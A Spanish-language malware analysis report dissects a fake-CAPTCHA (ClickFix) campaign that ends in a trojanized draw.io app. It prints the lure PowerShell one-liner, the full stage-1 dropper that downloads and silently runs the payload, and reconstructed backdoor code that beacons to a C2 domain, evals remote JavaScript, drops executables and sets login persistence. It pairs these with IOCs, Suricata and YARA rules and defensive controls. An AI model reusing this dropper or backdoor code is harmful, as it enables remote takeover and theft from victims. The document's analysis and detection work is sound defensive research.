Una página fingiendo ser un CAPTCHA convenció al usuario de pegar un comando PowerShell en la consola. De ahí salió una cadena de cuatro etapas que termina en un draw.io trojanizado con backdoor. Esto es lo que hicimos para diseccionarla, paso a paso, sin ejecutar nada en Windows.
La víctima vio un CAPTCHA falso, pegó el comando PowerShell que el sitio le pidió, y a partir de ahí el equipo quedó comprometido. El payload final es un draw.io modificado: parece la app de diagramas pero por dentro lleva un backdoor en JavaScript dentro del app.asar. Ese backdoor hace tres cosas al arrancar: se queda residente al inicio de sesión vía setLoginItemSettings, llama cada 65 segundos a chimefusion.com por HTTPS, y obedece dos tipos de orden — eval de JS arbitrario, o escribir y lanzar binarios que el C2 le envíe en base64. Ningún antivirus tradicional lo detiene en este flujo, porque el ejecutable draw.io.exe es el launcher legítimo de Electron sin tocar.
while(true) que beaconea cada 65 s, y como ese bucle nunca retorna, el código de inicialización legítimo de draw.io que viene después ni siquiera llega a evaluarse. La consecuencia práctica es contraintuitiva: la víctima lanza "draw.io" y no ve ninguna ventana. El proceso aparece en el Administrador de tareas, pero sin UI. Probablemente piensa que la app se colgó o que falta algo, cierra la ventana inexistente y se olvida. Mientras tanto el RAT ya está corriendo y registrado para auto-iniciar.
eval(s.e) con la respuesta del C2. Como corre dentro de Node.js de Electron, el operador tiene acceso completo a fs, child_process, os y compañía. No hace falta dropear nada al disco para tener RCE.files del JSON: clave es la ruta relativa, valor es base64. Los escribe a %TEMP%\<timestamp>\ y si alguno termina en .exe, lo lanza con child_process.exec. Sirve para entregar stage 4 (un infostealer típico, ransomware, lo que sea).app.setLoginItemSettings({openAtLogin:true}). Bajo el capó, Electron escribe la entrada en HKCU\Software\Microsoft\Windows\CurrentVersion\Run, que es exactamente donde mira un Autoruns o un Sysmon.https://chimefusion.com/u/ cada 65 segundos. POST con cuerpo [deviceId, COMPUTERNAME, USERNAME]. Periodicidad fija sin jitter, lo cual es un regalo para cualquier NDR.rejectUnauthorized:false. Eso significa que el operador puede rotar el certificado del C2 a uno auto-firmado o expirado sin que el malware se rompa.Todo el trabajo se hizo en Linux. Los binarios Windows nunca se ejecutaron — sólo se descargaron, se desensamblaron, se hasheó lo que se podía hashear, y para el JS ofuscado se aisló el decoder en un Node sin red. Las skills que sirvieron de guía son éstas:
| Skill | Aplicación en este caso |
|---|---|
| deobfuscating-powershell-obfuscated-malware | Decodificación de la concatenación 'ccud'+'mcx' y de iex/irm; análisis AST del script.ps1 |
| analyzing-cyber-kill-chain | Mapeo de las 7 fases Lockheed Martin (sección 10) |
| analyzing-indicators-of-compromise | Extracción y triage de hashes, dominios, paths (sección 8) |
| analyzing-command-and-control-communication | Reverse engineering del protocolo HTTPS-JSON beacon contra chimefusion.com |
| analyzing-malware-persistence-with-autoruns | Identificación del mecanismo Run-Key vía setLoginItemSettings |
| analyzing-malware-sandbox-evasion-techniques | Detección de padding anti-AV en update.zip (128 MB) |
| analyzing-network-covert-channels-in-malware | Verificación de canal HTTPS estándar (no covert) |
| dfir-malware-analysis-tr | Estructura de reporte analyst-grade y razonamiento basado en evidencia |
| analyzing-campaign-attribution-evidence | Construcción del Diamond Model (sección 11) |
curl — descarga controlada con cabeceras WPS / User-Agent suplantando PowerShell.unzip, file, strings, xxd — análisis estático de archivos.eval, sin red, sin escritura).sha256sum, md5sum — fingerprinting.La página fraudulenta presenta una verificación tipo "I'm not a robot" con un Verification ID ficticio para añadir credibilidad y solicita al usuario pegar un comando en la ventana Ejecutar de Windows (Win+R) o en PowerShell:
Security check
✔️ I'm not a robot
Verification ID: 614827
powershell "Write-Host(&{iex(irm(('ccud'+'mcx')+('.x'+'yz/u')))})2>$null"
iwr / irm / iex como el patrón PowerShell más abusado en este tipo de campañas. Nada de esto es novedoso. Lo que cambia entre campañas es la infraestructura y el payload final.
| Componente | Significado |
|---|---|
| 'ccud'+'mcx' | Concatenación de strings ⇒ ccudmcx — evasión trivial de signaturas YARA basadas en cadenas literales |
| '.x'+'yz/u' | Concatenación ⇒ .xyz/u |
| irm | Alias de Invoke-RestMethod — descarga el contenido de la URL |
| iex | Alias de Invoke-Expression — ejecuta como código PowerShell la string descargada |
| 2>$null | Suprime mensajes de error (anti-troubleshooting por parte de la víctima) |
| Write-Host(&{...}) | Suborderna los puntos para ejecutarse en bloque y limpiar la salida |
Comando equivalente "limpio":
Invoke-Expression (Invoke-RestMethod 'https://ccudmcx.xyz/u')
script.ps1| URL | https://ccudmcx.xyz/u → 301 → http://ccudmcx.xyz/u/ |
|---|---|
| Content-Disposition | attachment; filename="script.ps1" |
| Tamaño | 2,564 bytes (82 líneas, CRLF) |
| SHA-256 | 85b38a1adaf13650d06966572e402415ac3aa7ec9f53adb6e5eb48ae8b0f9974 |
| MD5 | a9fec9eb4c048719fa5d6c9fb3eac0ea |
| Entropía Shannon | 5.117 (texto legible — sin compresión/cifrado a este nivel) |
| Hosting | Cloudflare (cf-ray 9f694f0f0c305383-YYZ) |
Si abres el script y lees de arriba a abajo, los primeros 40 renglones parecen un ejemplo de tutorial de PowerShell. Define variables, itera sobre una lista de frutas, suma del 1 al 10, hace un Get-Square 7, falla a propósito un [int]::Parse("oops") para probar el try/catch. Todo va a parar a %LOCALAPPDATA%\Microsoft\Cache\demo.log. Es ruido. La carga útil vive en el bloque finally{} que la mayoría de revisores humanos ya no leen porque "ya entendí lo que hace":
$script = @'
$downloadUrl = "https://ccudmcx.xyz/update.zip"
$appDataPath = [Environment]::GetFolderPath("LocalApplicationData")
$subFolder = "UpdateApp"
$destinationPath = Join-Path $appDataPath $subFolder
$zipPath = Join-Path $env:TEMP "update26.zip"
if (!(Test-Path $destinationPath)) {
New-Item -ItemType Directory -Path $destinationPath -Force | Out-Null
}
Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath -UseBasicParsing
Expand-Archive -Path $zipPath -DestinationPath $destinationPath -Force
Remove-Item $zipPath -Force
Start-Process -FilePath "$destinationPath\draw.io.exe"
'@
$path = "$env:TEMP\runner.ps1"
$script | Set-Content -Path $path -Encoding UTF8
Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File `"$path`"" -WindowStyle Hidden
update.zip & Bundle Electron| URL | https://ccudmcx.xyz/update.zip |
|---|---|
| Tamaño | 128.5 MB (134,729,033 bytes) |
| SHA-256 | d942e9cfc0ca32a3d66ec690090ee22dca74953efed6889fb2292de36f5e39fd |
| Entropía | 6.186 (compresión deflate normal) |
| Archivos | 75 (bundle Electron — draw.io + DLLs + locales + app.asar) |
El tamaño ≥ 128 MB del ZIP excede el límite por defecto de varias sandboxes públicas (VirusTotal: 650 MB, ANY.RUN: 100 MB en plan free, Hybrid Analysis: 100 MB). Es una técnica clásica de sandbox evasion via file bloat (T1497).
Estructura idéntica a una distribución Electron estándar de drawio-desktop v19.0.3, pero el archivo resources/app.asar (151 MB) está modificado — el original v19 ronda 80 MB.
| Archivo | Tamaño | Rol | SHA-256 (resumido) |
|---|---|---|---|
| draw.io.exe | 142.1 MB | Launcher Electron (chromium + V8 framework) | bfcd61c6…57ba9f |
| resources/app.asar | 151.1 MB | Contenedor del backdoor | 0642708e…102883 |
| d3dcompiler_47.dll | 4.7 MB | Direct3D shader compiler | 5653bc7b…dcba88a |
| ffmpeg.dll | 2.7 MB | Video/audio codec | 04d25531…1f52da |
| libGLESv2.dll | 6.8 MB | OpenGL ES | cc628255…d217db |
| vulkan-1.dll | 854 KB | Vulkan graphics | 7f0b178b…89ad5d |
| resources/app-update.yml | 119 B | Apunta a github.com/jgraph/drawio-desktop (no modificado) | — |
app.asar y empaquetó todo de vuelta. Lo deduzco por dos cosas: el desbalance de tamaño (un app.asar de v19 ronda 80 MB, este pesa 151 MB), y porque al desensamblar el ASAR la inyección está limpiamente al principio del electron.js, sin tocar el resto de la base de código de drawio. Si el atacante hubiera reescrito las DLLs no se molestaría en este nivel de cuidado quirúrgico.
app.asar| Archivo malicioso | resources/app.asar → /electron.js |
|---|---|
| Tamaño electron.js | 57,822 bytes |
| SHA-256 electron.js | 76ef3db102e0adf27b0b0f7257acebf9f0279d5c690d742a4c78ca59f5ae35eb |
| Entropía | 5.893 (alta para JS — ofuscación con strings RC4) |
| Ofuscador | obfuscator.io (RC4 + base64-custom + control-flow flattening + dead-code injection) |
| Tabla de strings | 1,015 entradas cifradas / 1,014 referencias decodificadas |
Para llegar al código real tuve que reescribir el decodificador en Python primero, fallé porque el alfabeto base64 está volteado (lowercase primero), y al final lo más rápido fue extraer la función decoder y el array de strings, meterlos en un Node aislado sin red ni filesystem, e invocar el decoder sobre los 1,015 índices. Lo que sigue es el bootstrap reconstruido. Las 5,500+ líneas que vienen después son draw.io legítimo, pero como el bootstrap llama a r() y r() nunca retorna, esa parte es código muerto.
// === Configuración del C2 ===
const k = "chimefusion.com/u/";
// === Cliente HTTP via 'https' module ===
function j(url, opts={}) {
return new Promise((resolve, reject) => {
const [hostname, ...rest] = url.split('/');
const path = '/' + rest.join('/');
const req = https.request({
hostname, path,
method: opts.method || 'GET',
headers: opts.headers || {},
rejectUnauthorized: false // ← bypass TLS
}, res => {
const chunks = [];
res.on('data', c => chunks.push(c));
res.on('end', () => {
const buf = Buffer.concat(chunks);
resolve({ ok: res.statusCode >= 200 && res.statusCode < 300,
status: res.statusCode, headers: res.headers,
json: () => Promise.resolve(JSON.parse(buf.toString())),
text: () => Promise.resolve(buf.toString()) });
});
});
req.on('error', reject);
if (opts.body) req.write(opts.body);
req.end();
});
}
// === Device fingerprint persistente ===
function n() {
const setupPath = path.join(process.env.APPDATA, "setup.txt");
if (fs.existsSync(setupPath)) return fs.readFileSync(setupPath, 'utf8').trim();
const id = Math.random().toString(36).slice(2, 10); // 8-char rand
fs.writeFileSync(setupPath, id);
return id;
}
// === Beacon: POST [deviceId, COMPUTERNAME, USERNAME] ===
async function p() {
try {
const resp = await j(k, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify([n(), process.env.COMPUTERNAME, process.env.USERNAME])
});
const obj = await resp.json();
if (obj.task) q(obj.task);
} catch (e) { console.log(e); }
}
// === Handler de tareas del C2 ===
function q(s) {
if (s.e) { // → RCE in-memory
try { eval(s.e); } catch (_) {}
return;
}
const dropDir = path.join(process.env.TEMP, String(Date.now()));
fs.mkdirSync(dropDir, { recursive: true });
let entryExe = null;
for (const [name, b64] of Object.entries(s.files || {})) {
const full = path.join(dropDir, name);
fs.mkdirSync(path.dirname(full), { recursive: true });
fs.writeFileSync(full, Buffer.from(b64, 'base64'));
if (name.endsWith('.exe')) entryExe = full;
}
if (entryExe) require('child_process').exec('"' + entryExe + '"', { cwd: dropDir });
}
// === Persistencia: auto-start al login ===
app.setLoginItemSettings({
openAtLogin: true,
openAsHidden: false,
path: app.getPath('exe'),
args: []
});
// === Bucle infinito de beacon (cada 65 s) ===
async function r() {
while (true) {
await p();
await new Promise(res => setTimeout(res, 65000));
}
}
// === IIFE bootstrap — bloquea init legítimo de drawio ===
(async () => {
await r(); // nunca retorna
/* …código legítimo de electron.js a partir de aquí — UNREACHABLE… */
})();
| Índice | Clave RC4 | String decodificada | Uso |
|---|---|---|---|
| 237 | mZk4 | electron | require() |
| 238 | bp5r | https | require() — módulo Node |
| 242 | bp5r | request | https.request() |
| 264 | hH#x | chimefusion.com/u/ | URL del C2 |
| 269 | c#qa | setup.txt | Archivo de fingerprint en %APPDATA% |
| 279 | oE9X | application/json | Content-Type del beacon |
| 282 | cPaY | task | Campo JSON con instrucciones del C2 |
| 287 | VXbq | files | Sub-objeto con payloads base64 |
| 294 | Emk2 | .exe | Trigger para ejecutar drop |
| 295 | 7^k9 | child_process | require() para ejecución |
| 296 | KZf( | exec | Ejecuta binario |
| 297 | $(YR | setLoginItemSettings | Persistencia auto-start |
chimefusion.com no es el mismo dominio que aparece en el lure (ccudmcx.xyz). El primero está hardcodeado dentro del backdoor; el segundo sólo sirve los stages 1 y 2. Separar ambas infraestructuras tiene un beneficio operacional claro: si alguien quema ccudmcx.xyz en VirusTotal o lo bloquean en una blocklist, el RAT ya instalado sigue beaconeando contra chimefusion.com sin enterarse. Es un patrón que los analistas que sólo miran la URL del lure suelen pasar por alto.Cada punto es un paquete real del flujo. Los anillos pulsando alrededor de víctima y C2 representan la actividad de beacon de 65 s.
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 2564
Server: cloudflare
Content-Description: File Transfer
Content-Disposition: attachment; filename="script.ps1"
Cache-Control: no-store, no-cache, must-revalidate
CF-RAY: 9f694f10ea30a28b-YUL
POST /u/ HTTP/1.1
Host: chimefusion.com
Content-Type: application/json
["a3k7m9q2", "DESKTOP-VICTIM-01", "jdoe"]
// Modalidad A: ejecución JS arbitraria
{ "task": { "e": "require('child_process').exec('whoami /all > %TEMP%\\out.txt')" } }
// Modalidad B: drop & execute binario
{ "task": {
"files": {
"stage4.exe": "<base64-payload>",
"libs/helper.dll": "<base64-payload>"
}
} }
| Característica | Valor | Implicación defensiva |
|---|---|---|
| Frecuencia beacon | 65 s ± 0 (sin jitter) | Detectable por NDR/Zeek mediante análisis de periodicidad |
| Validación TLS | rejectUnauthorized:false | Permite C2 con cert auto-firmado o expirado |
| Cabeceras HTTP | Sólo Content-Type | Sin User-Agent custom — fingerprint pobre, anomaly por missing UA |
| Codificación | JSON plano | No usa stego ni dominio fronting → detectable con DPI |
| Dominio | .com nuevo, sin reputación | Bloqueable por categorización Newly-Registered Domain (NRD) |
Tras escribir el cuerpo del reporte, llegó a mis manos el PCAP de una detonación real de esta misma campaña — una víctima en Windows 11 cayó en el lure el mismo día (2026-05-04, hora local de la víctima 17:34 UTC) y todo el flujo quedó capturado a nivel de red. Este anexo contrasta lo que se observa en cable contra lo que se reverseó del payload.
| Archivo | Detonacion de Fakecaptcha.pcapng |
|---|---|
| SHA-256 | d99b8708e20bfa79eecaebb9f81db1b2de4c93061c0216c3bdbcb687a695fcbf |
| Tamaño | 22.2 MB · 12,533 paquetes |
| Duración | 236.1 s (3 min 56 s) |
| Captura | Wireshark Dumpcap 4.6.5 / Windows 11 24H2 (build 26100) — Intel Core Ultra 5 125U |
| Víctima | 172.18.2.55 (LAN privada) |
| Locale del payload PowerShell | es-MX (User-Agent: WindowsPowerShell/5.1.26100.8115) |
https://www.fepafut.com (TLS SNI extraído, IP 192.124.249.28, conexión por QUIC/HTTP-3). Es el dominio que sirve la página del falso CAPTCHA. Al escribir el reporte original sólo conocíamos ccudmcx.xyz — el lure delivery está en otro dominio. fepafut.com aparenta ser el sitio de la Federación Panameña de Fútbol (objetivo común de inyección por SEO o por compromiso directo del CMS). Hay que tratarlo como dominio comprometido, no como infraestructura propiedad del atacante.
El usuario tardó ~117 segundos entre cargar la página del lure y pegar el comando. Tiempo suficiente para que un sistema de awareness bien diseñado interrumpa la decisión.
| Protocolo | Frames | Bytes |
|---|---|---|
| TCP (TLS sobre TCP) | 12,394 | 22.7 MB |
| TLS records | 1,395 | 7.3 MB |
| UDP / QUIC (HTTP/3 a fepafut) | 103 | 49 KB |
| DNS | 34 | 5 KB |
| HTTP claro (sólo redirect 301 + script.ps1) | 4 | 976 B |
| SNI / Host observado | IP destino | Rol |
|---|---|---|
| www.fepafut.com | 192.124.249.28 | LURE sitio comprometido |
| cdnjs.cloudflare.com | 104.17.24.14 | JS del fake-captcha |
| www.bing.com | 23.48.203.39 / 23.201.31.203 | Referrer / SmartScreen |
| ccudmcx.xyz | 104.21.0.150 (Cloudflare) | STAGE 1+2 |
| login.live.com | 20.190.190.195 | Tráfico Windows normal |
| officeclient.microsoft.com | 52.110.2.147 | Tráfico Windows normal |
T+117.577s
GET /u HTTP/1.1
Host: ccudmcx.xyz
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; es-MX) WindowsPowerShell/5.1.26100.8115
→ 301 Moved Permanently
Date: Mon, 04 May 2026 17:36:04 GMT
Server: cloudflare
Location: http://ccudmcx.xyz/u/
T+118.155s
GET /u/ HTTP/1.1
Host: ccudmcx.xyz
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; es-MX) WindowsPowerShell/5.1.26100.8115
→ 200 OK
Server: cloudflare
Content-Type: application/octet-stream
Content-Length: 2564
Content-Disposition: attachment; filename="script.ps1"
85b38a1a…b8bd1a1). El payload no muta entre víctimas. Sirve la misma copia a quien sea.
chimefusion.com. La razón es simple: la captura termina a T+236 s con la víctima recibiendo todavía bytes del update.zip (envió un TCP ZeroWindow en el último paquete por buffer lleno). Sólo se transfirieron ~22 MB de los 128 MB del ZIP. El RAT nunca llegó a instalarse en este pcap.La conexión inicial a www.fepafut.com va por QUIC (HTTP/3), no por TCP+TLS. Eso quiere decir dos cosas para el equipo defensivo:
| Tipo | Valor | Severidad | Observación |
|---|---|---|---|
| Dominio (lure) | www.fepafut.com | CRIT | Sitio aparentemente legítimo (Federación Panameña de Fútbol) sirviendo el CAPTCHA falso; perfil de sitio comprometido por SEO o por intrusión al CMS. |
| IP (lure host) | 192.124.249.28 | HIGH | IP de hosting compartido; co-ubicada con tráfico legítimo del propio sitio. |
| IP (Cloudflare ccudmcx) | 104.21.0.150 | MED | IP de Cloudflare; el atributo discriminante es el SNI/Host, no la IP. |
| User-Agent | Mozilla/5.0 (Windows NT; Windows NT 10.0; es-MX) WindowsPowerShell/5.1.26100.8115 | HIGH | El UA delata que un binario de PowerShell originó la conexión hacia el dropper. |
| Pcap SHA-256 | d99b8708e20bfa79eecaebb9f81db1b2de4c93061c0216c3bdbcb687a695fcbf | INFO | Hash del propio archivo de evidencia analizado. |
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ClickFix ccudmcx.xyz dropper download";
flow:established,to_server; http.host; content:"ccudmcx.xyz"; nocase;
http.uri; pcre:"/^\/u\/?$/";
http.user_agent; content:"WindowsPowerShell";
classtype:trojan-activity; sid:1000001; rev:1;)
alert tls $HOME_NET any -> $EXTERNAL_NET any (msg:"ClickFix C2 chimefusion.com beacon";
flow:established,to_server; tls.sni; content:"chimefusion.com"; nocase;
classtype:trojan-activity; sid:1000002; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"PowerShell User-Agent fetching .ps1 / .zip";
flow:established,to_server; http.user_agent; content:"WindowsPowerShell";
http.uri; pcre:"/\.(ps1|zip)$/i";
classtype:policy-violation; sid:1000003; rev:1;)
| Tipo | Valor | Severidad | Observación |
|---|---|---|---|
| Dominio (sitio comprometido — sirve el lure) | www.fepafut.com | CRIT | Aparenta ser propiedad legítima de un tercero; el operador no controla el dominio sino su contenido. |
| Dominio (entrega stage 1+2) | ccudmcx.xyz | CRIT | Dominio NRD bajo el control del operador, expone /u y /update.zip. |
| Dominio (C2) | chimefusion.com | CRIT | Punto único de C2 del backdoor; recibe el beacon JSON cada 65 s. |
| URL stage 1 | https://ccudmcx.xyz/u | CRIT | Sirve el script PowerShell ofuscado. |
| URL stage 2 | https://ccudmcx.xyz/update.zip | CRIT | Bundle drawio trojanizado (~110 MB). |
| URL C2 | https://chimefusion.com/u/ | CRIT | Endpoint POST del beacon; expone tipos de orden eval y drop. |
| User-Agent ausente en POST a chimefusion.com | — | HIGH | Anomalía observable: HTTP POST sin UA hacia destino externo es atípico en tráfico legítimo. |
| Archivo | SHA-256 | Veredicto |
|---|---|---|
| script.ps1 | 85b38a1adaf13650d06966572e402415ac3aa7ec9f53adb6e5eb48ae8b0f9974 | MALICIOUS |
| update.zip | d942e9cfc0ca32a3d66ec690090ee22dca74953efed6889fb2292de36f5e39fd | MALICIOUS |
| resources/app.asar | 0642708ec7c25dec3168f1ab275a29bfd3cf69fe3afc3d5c6eadfa6750102883 | TROJANIZED |
| electron.js (interno) | 76ef3db102e0adf27b0b0f7257acebf9f0279d5c690d742a4c78ca59f5ae35eb | BACKDOOR |
| draw.io.exe (launcher) | bfcd61c6b2dc98354f1a1a6e20a3d61c94530f2c39f3f4c708252da4db57ba9f | SUSPECT |
| Tipo | Path / Clave | Comentario |
|---|---|---|
| Directorio | %LOCALAPPDATA%\UpdateApp\ | Bundle Electron malicioso desplegado |
| Archivo | %LOCALAPPDATA%\UpdateApp\draw.io.exe | Launcher Electron firmado-pero-troyanizado |
| Archivo | %LOCALAPPDATA%\UpdateApp\resources\app.asar | Backdoor (electron.js inyectado) |
| Archivo | %LOCALAPPDATA%\Microsoft\Cache\demo.log | Decoy log creado por stage 1 (hace al script parecer benigno) |
| Archivo | %APPDATA%\setup.txt | Device fingerprint (8 chars hex/base36) |
| Archivo (transitorio) | %TEMP%\update26.zip | ZIP descargado, eliminado tras extracción |
| Archivo (transitorio) | %TEMP%\runner.ps1 | Stage-2 dropper PowerShell |
| Directorio | %TEMP%\<timestamp-ms>\ | Carpetas creadas dinámicamente por el handler q() del C2 para drops |
| Registro | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ | Entrada draw.io vía setLoginItemSettings (auto-start) |
rule ClickFix_PS_Dropper_ccudmcx_2026 {
meta:
author = "jespinosa@sofistic.com"
date = "2026-05-04"
sha256 = "85b38a1adaf13650d06966572e402415ac3aa7ec9f53adb6e5eb48ae8b0f9974"
strings:
$u1 = "ccudmcx.xyz/update.zip" ascii wide
$u2 = "\\UpdateApp" ascii wide
$u3 = "update26.zip" ascii wide
$u4 = "draw.io.exe" ascii wide
$h1 = "-ExecutionPolicy Bypass -File" ascii wide
$h2 = "-WindowStyle Hidden" ascii wide
condition:
3 of ($u*) and all of ($h*)
}
rule Electron_Backdoor_chimefusion_2026 {
meta:
author = "jespinosa@sofistic.com"
sha256 = "76ef3db102e0adf27b0b0f7257acebf9f0279d5c690d742a4c78ca59f5ae35eb"
strings:
$obf1 = "function d(W,o){W=W-229" // decoder firma
$rc4 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="
$api1 = "setLoginItemSettings"
$api2 = "rejectUnauthorized"
$api3 = "child_process"
condition:
$obf1 and $rc4 and 2 of ($api*)
}
| Técnica | Nombre | Táctica | Evidencia |
|---|---|---|---|
| T1566 | Phishing | Initial Access | Página CAPTCHA falsa con instrucción de pegar comando |
| T1204.004 | Malicious Copy and Paste | Execution | Usuario copia-pega comando PowerShell — sub-técnica nueva 2024+ |
| T1059.001 | Command and Scripting: PowerShell | Execution | iex/irm + script.ps1 |
| T1059.007 | Command and Scripting: JavaScript | Execution | eval(s.e) en backdoor Electron |
| T1027 | Obfuscated Files or Information | Defense Evasion | String concat PS1 + obfuscator.io RC4 en electron.js |
| T1027.010 | Command Obfuscation | Defense Evasion | ('ccud'+'mcx')+('.x'+'yz/u') concatenation |
| T1140 | Deobfuscate/Decode Files | Defense Evasion | RC4 strings decodificadas en runtime por d(idx,key) |
| T1218 | System Binary Proxy Execution | Defense Evasion | Ejecución vía launcher Electron firmado (legítimo) → carga código no firmado en app.asar |
| T1497 | Virtualization/Sandbox Evasion | Defense Evasion | ZIP de 128 MB (excede límites de free-tier sandboxes) |
| T1564.003 | Hidden Window | Defense Evasion | -WindowStyle Hidden en Start-Process |
| T1547.001 | Registry Run Keys / Startup Folder | Persistence | setLoginItemSettings escribe en HKCU\…\Run |
| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control | HTTPS POST JSON a chimefusion.com |
| T1573 | Encrypted Channel | Command and Control | HTTPS estándar (no certificado pinning) |
| T1041 | Exfiltration Over C2 Channel | Exfiltration | Mismo canal HTTPS reutilizado para comandos y datos |
| T1105 | Ingress Tool Transfer | Command and Control | q() decodifica base64 y escribe binarios desde el C2 |
| T1106 | Native API | Execution | child_process.exec con cwd controlado |
El cursor viaja a través de las 7 fases en 9 s. Las fases activas se encienden en cascada.
| Fase | Actividad observada | Control defensivo aplicable a esta fase |
|---|---|---|
| Reconnaissance | No hay evidencia de targeting individual; lure genérico distribuido masivamente. | Threat intel proactivo en NRDs categoría .xyz |
| Weaponization | Construcción del bundle drawio trojanizado con app.asar reemplazada y bootstrap obfuscator.io inyectado. | — |
| Delivery | Página web sirviendo lure CAPTCHA + ZIP via Cloudflare. | DNS filtering NRD; categorización de URL "newly observed"; web proxy con sandboxing inline. |
| Exploitation | Usuario pega comando en Run/PowerShell — explotación social, no técnica. | AppLocker/WDAC bloqueando powershell.exe a usuarios estándar; PSScriptBlock logging + alerta sobre iex(irm; deshabilitar Win+R por GPO. |
| Installation | Despliegue del bundle a %LOCALAPPDATA%\UpdateApp\. | EDR con detección de "drawio.exe ejecutándose desde %LOCALAPPDATA%" (anomalía vs. Program Files); alertas Sysmon Event 11 sobre escrituras a %LOCALAPPDATA%. |
| Command & Control | Beacon HTTPS cada 65 s a chimefusion.com. | NDR/Zeek con detección de periodicidad; bloqueo NRD; TLS inspection + filtering por SNI. |
| Actions on Objectives | RCE arbitrario in-memory + drop&execute de payloads stage 4. | EDR ML behavioral; restricción de child_process desde Electron. |
| Hipótesis | Evidencia favorable | Evidencia contraria | Confianza |
|---|---|---|---|
| Operador eCrime genérico (commodity loader) | TTPs ClickFix exactos a Microsoft 2025; uso de obfuscator.io comercial; dominios .xyz baratos | Loader RAT custom (no Lumma/Vidar conocido) | MEDIA-ALTA |
| Affiliate de servicio MaaS (Loader-as-a-Service) | Separación lure/C2 sugiere infraestructura compartida; obfuscator.io es genérico | No se observa string firmando un MaaS conocido | MEDIA |
| APT con falsa bandera eCrime | — | Sin TTP avanzados (no LotL, no kernel, no zero-day) | BAJA |
| Desarrollo bespoke individual | RAT custom no catalogado; lógica simple (eval+drop) | Patrones idénticos a CYFIRMA/SentinelOne reportes ClickFix 2025-2026 → ecosistema compartido | MEDIA |
function d(W,o){W=W-229 y la misma estructura de beacon JSON, vale la pena clusterizarlo.Este apartado documenta — desde la perspectiva de la investigación — qué telemetría, qué artefactos y qué controles serían relevantes ante una cadena como la analizada. No constituye una guía de remediación ni una recomendación operativa para terceros; cada organización aplica su propio criterio en función de su modelo de amenazas, infraestructura y políticas internas.
De la cadena se desprenden tres familias de artefactos que, en conjunto, permiten distinguir un host comprometido de uno limpio:
ccudmcx.xyz y chimefusion.com son los puntos centrales de la cadena. El segundo permanece activo después de la descarga inicial, lo que lo hace especialmente relevante para análisis longitudinal en logs de proxy y DNS.%LOCALAPPDATA%\UpdateApp\draw.io.exe, %APPDATA%\setup.txt y %LOCALAPPDATA%\Microsoft\Cache\demo.log — cualquiera de ellas, observada en disco, basta para confirmar la cadena.HKCU\Software\Microsoft\Windows\CurrentVersion\Run\draw.io es el mecanismo de auto-arranque, escrito por setLoginItemSettings desde el propio Electron.Una consulta KQL que combina los marcadores de línea de comando observados:
DeviceProcessEvents
| where ProcessCommandLine has_any ("iex(irm", "Invoke-RestMethod", "WindowStyle Hidden")
| where ProcessCommandLine has_any ("ccudmcx", "chimefusion", "update26.zip")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
En presencia del compromiso confirmado, los modelos de respuesta a infostealers (rotación de credenciales, invalidación de sesiones, asunción de robo de cookies y tokens) son el marco de referencia comúnmente aplicado, ya que el stage 4 entrega típicamente carga capaz de exfiltrar material sensible del navegador.
Los siguientes controles son los que, observando la cadena, aplicarían en cada superficie. No son recomendaciones de implementación universal — son las piezas de defensa cuya presencia o ausencia se puede inferir a partir de cada paso del flujo:
%LOCALAPPDATA%. Entornos con allowlisting estricto sobre rutas del tipo Program Files y firmas válidas observarían esta ejecución como anomalía inmediata.iex(irm ccudmcx.xyz/u)) se ejecuta sin telemetría disponible para el SOC.NoRun=1 en HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer) suprime el vector tal como está implementado en este caso.setLoginItemSettings({ openAtLogin: true }) desde fuera de rutas firmadas es un comportamiento atípico observable. La mayoría de instaladores legítimos de Electron firman sus binarios y se ubican en rutas estables.app.asar manipulado dentro. La estabilidad de los hashes del .asar — incluso cuando el binario se reempaqueta — es un atributo observable raramente explotado en pipelines de inspección de archivos.~37 segundos desde que la víctima pega el comando hasta el primer beacon hacia chimefusion.com.
Flujo interno del bootstrap: r() dispara p() cada 65 s; p() consulta el fingerprint via n() y POSTea al C2; el handler q() bifurca entre RCE in-memory (eval) o drop&execute. La persistencia se establece una sola vez al inicio.
| Archivo | Origen | Bytes |
|---|---|---|
| /home/ubuntu/analisis/clickfix-ccudmcx/script.ps1 | GET /u (Cloudflare) | 2,564 |
| /home/ubuntu/analisis/clickfix-ccudmcx/update.zip | GET /update.zip | 134,729,033 |
| /home/ubuntu/analisis/clickfix-ccudmcx/extracted/draw.io.exe | Extracción ZIP | 148,962,456 |
| /home/ubuntu/analisis/clickfix-ccudmcx/extracted/resources/app.asar | Extracción ZIP | 158,440,947 |
| /home/ubuntu/analisis/clickfix-ccudmcx/asar_dump/electron.js | Parser ASAR | 57,822 |
| /home/ubuntu/analisis/clickfix-ccudmcx/decoded_strings.json | Decodificación RC4 | ~70,000 |
HTTP/2 301
date: Mon, 04 May 2026 17:43:38 GMT
content-type: text/html; charset=iso-8859-1
location: http://ccudmcx.xyz/u/
server: cloudflare
cf-ray: 9f694f0f0c305383-YYZ
alt-svc: h3=":443"; ma=86400
HTTP/1.1 200 OK
Date: Mon, 04 May 2026 17:43:38 GMT
Content-Type: application/octet-stream
Content-Length: 2564
Server: cloudflare
Content-Description: File Transfer
Content-Disposition: attachment; filename="script.ps1"
Cache-Control: no-store, no-cache, must-revalidate
CF-RAY: 9f694f10ea30a28b-YUL